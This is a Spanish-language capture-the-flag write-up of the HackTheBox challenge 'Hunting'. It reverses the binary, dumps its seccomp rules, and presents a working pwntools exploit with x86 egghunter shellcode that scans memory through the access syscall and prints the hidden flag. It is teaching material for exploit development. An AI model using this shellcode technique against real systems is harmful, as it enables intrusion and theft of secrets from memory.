xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



HackTheBox

Hunting



Reversing


Si ejecutamos el binario parece que espera una entrada donde enviamos 16 bytes, no devuelve absolutamente nada y corrompe de alguna forma inesperada sin más

❯ ./hunting
AAAAAAAABBBBBBBB
zsh: segmentation fault (core dumped)  ./hunting  

Iniciamos desensamblando la función main, esta llama a la función setup y guarda el valor de retorno en la variable llamada address, luego llama a signal indicando que si recibe un SIGALRM llame a exit, luego con alarm establece un tiempo de 10 segundos, entonces si el proceso dura mas de eso envia un SIGALRM y lo termina

Después de ello llama a la función mmap para reservar un espacio de memoria y le otorga permisos 3, luego copia la dirección del valor de retorno en la variable flag

Utiliza strcpy para copiar la dirección que contiene el simbolo HTB a la variable flag, luego llama memset para luego rellenar todos los bytes de origen a 0, llama a una función de seccomp que establece algunas reglas al llamar a las syscalls

Después utilizando mmap establece permisos 7 o rwx a la variable shellcode, luego recibe un buffer llamando a read el cual ejecuta después ejectando un call eax

La función setup inicia abriendo el archivo /dev/urandom con open, y llama a read para obtener un numero aleatorio de este archivo, cierra el archivo con close y genera un numero aleatorio con la función srand a partir del valor de retorno

Se inicia un bucle donde se compara la dirección generada con 0x5fffffff, si es menor se llama a rand y desplaza 16 bits a la izquierda, si es mayor o igual compara que el valor sea menor o igual que 0xf7000000, si esta en el rango devuelve el valor


Explotación


Si miramos las limitaciones de seccomp podemos ver las restricciones de syscalls respecto a funciones para ejecutar comandos como lo son execve o execveat

❯ seccomp-tools dump ./hunting
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x20 0x00 0x00 0x00000000  A = sys_number
 0002: 0x35 0x0a 0x00 0x40000000  if (A >= 0x40000000) goto 0013  
 0003: 0x15 0x09 0x00 0x0000000b  if (A == execve) goto 0013
 0004: 0x15 0x08 0x00 0x00000166  if (A == execveat) goto 0013
 0005: 0x15 0x07 0x00 0x00000127  if (A == openat) goto 0013
 0006: 0x15 0x06 0x00 0x00000005  if (A == open) goto 0013
 0007: 0x15 0x05 0x00 0x00000006  if (A == close) goto 0013
 0008: 0x15 0x04 0x00 0x00000008  if (A == creat) goto 0013
 0009: 0x15 0x03 0x00 0x00000056  if (A == uselib) goto 0013
 0010: 0x15 0x02 0x00 0x00000002  if (A == fork) goto 0013
 0011: 0x15 0x01 0x00 0x000000be  if (A == vfork) goto 0013
 0012: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0013: 0x06 0x00 0x00 0x00000000  return KILL

Sabemos que lo que enviemos se interpretará como instrucciones ensamblador, para comprobarlo enviaremos como shellcode un int3 que actuará como breakpoint en el debugger y algunos nops extra para asegurarnos que se ejecute correctamente

#!/usr/bin/python3
from pwn import gdb, asm

shell = gdb.debug("./hunting", "continue")  

egghunter = asm("""
    int3
    nop
    nop
    nop
    nop
""")

shell.send(egghunter)
shell.interactive()

Al ejecutar el exploit llega al breakpoint y se detiene al inicio de ejecutar los nops

Program received signal SIGTRAP, Trace/breakpoint trap.  
0xf3325001 in ?? ()
pwndbg> x/4i $eip-1
   0xf3325000:  int3
=> 0xf3325001:  nop
   0xf3325002:  nop
   0xf3325003:  nop
pwndbg>

Entonces, sabemos que la string de la flag se copió en una dirección aleatoria entre 0x5fffffff y 0xf7000000, también sabemos que el formato iniciará con HTB{

pwndbg> search HTB{
Searching for value: 'HTB{'
zero (deleted)  0x61b40000 'HTB{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}'  
pwndbg>

El nombre nos da una pista, usaremos una técnica muy conocida llamada egghunter el cual busca una string en toda la memoria, inicia moviendo a edi los primeros 4 bytes de la cadena que son HTB{, luego mueve a edx la dirección base desde donde puede iniciar, con un or obtenemos en edx la última dirección de la página

    mov edi, 0x7b425448   # $edi = HTB{
    mov edx, 0x5fffffff   # $edx = 0x5fffffff

    .page:
        or dx, 0xfff      # get last addr in page  

La función .find inicia incrementando la dirección una unidad, luego guarda el estado de los registros y guarda en ebx la dirección de edx + 4, en ecx un 0 indica que se pueda leer, luego con una syscall llamamos a la función access

    .find:
       inc edx            # increase memory counter  
       pushad             # save registers
       lea ebx, [edx + 4] # $ebx = address
       xor ecx, ecx       # $ecx = 0x0
       push 0x21          # access()
       pop eax            # $eax = access()
       int 0x80           # syscall

Si el valor de retorno termina con 0xf2 indica que el retorno es -14 y que hubo un error de tipo EFAULT, luego restaura los registros, si hubo un error salta a .page para saltar a la siguiente página hasta que sea accesible, si ya es válida inicia un bucle donde compara el contenido de la dirección con HTB{ hasta que sea igual

       cmp al, 0xf2       # cmp return with EFAULT
       popad              # restore registers
       jz .page           # if zf == 1 -> increase page  
       cmp [edx], edi     # cmp addr with HTB{
       jnz .find          # if zf == 0 -> increase addr  

Una vez que tenemos en edx la dirección donde inicia la flag podemos guardarla en ecx comos segundo argumento de write, el primero es el descriptor donde usaremos 1 indicando el stdout, finalmente en edx la longitud que son 0x24 bytes

       mov ecx, edx       # $ecx = flag
       push 0x1           # stdout
       pop ebx            # $ebx = stdout
       push 0x24          # len
       pop edx            # $edx = len
       push 0x4           # write()
       pop eax            # $eax = write()  
       int 0x80           # syscall

Entonces el exploit envia un egghunter, este inicia en 0x5fffffff a buscar paginas válidas con access, luego de ello incrementa la dirección por unidad hasta encontrar la dirección donde inicia con HTB{, una vez lo encontramos lo enviamos al stdout con write, al ejecutar nuestro exploit realiza todo el proceso y nos muestra la flag

#!/usr/bin/python3
from pwn import process, asm

shell = process("./hunting")

egghunter = asm("""
    mov edi, 0x7b425448   # $edi = HTB{
    mov edx, 0x5fffffff   # $edx = 0x5fffffff

    .page:
        or dx, 0xfff      # get last addr in page

    .find:
       inc edx            # increase memory counter
       pushad             # save registers
       lea ebx, [edx + 4] # $ebx = address
       xor ecx, ecx       # $ecx = 0x0
       push 0x21          # access()
       pop eax            # $eax = access
       int 0x80           # syscall

       cmp al, 0xf2       # cmp return with EFAULT
       popad              # restore registers
       jz .page           # if zf == 1 -> increase page  
       cmp [edx], edi     # cmp addr with HTB{
       jnz .find          # if zf == 0 -> increase addr  

       mov ecx, edx       # $ecx = flag
       push 0x1           # stdout
       pop ebx            # $ebx = stdout
       push 0x24          # len
       pop edx            # $edx = len
       push 0x4           # write()
       pop eax            # $eax = write()
       int 0x80           # syscall
""")

shell.send(egghunter)
shell.interactive()

❯ python3 exploit.py
[+] Starting local process './hunting': pid 148264  
[*] Switching to interactive mode
HTB{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}
$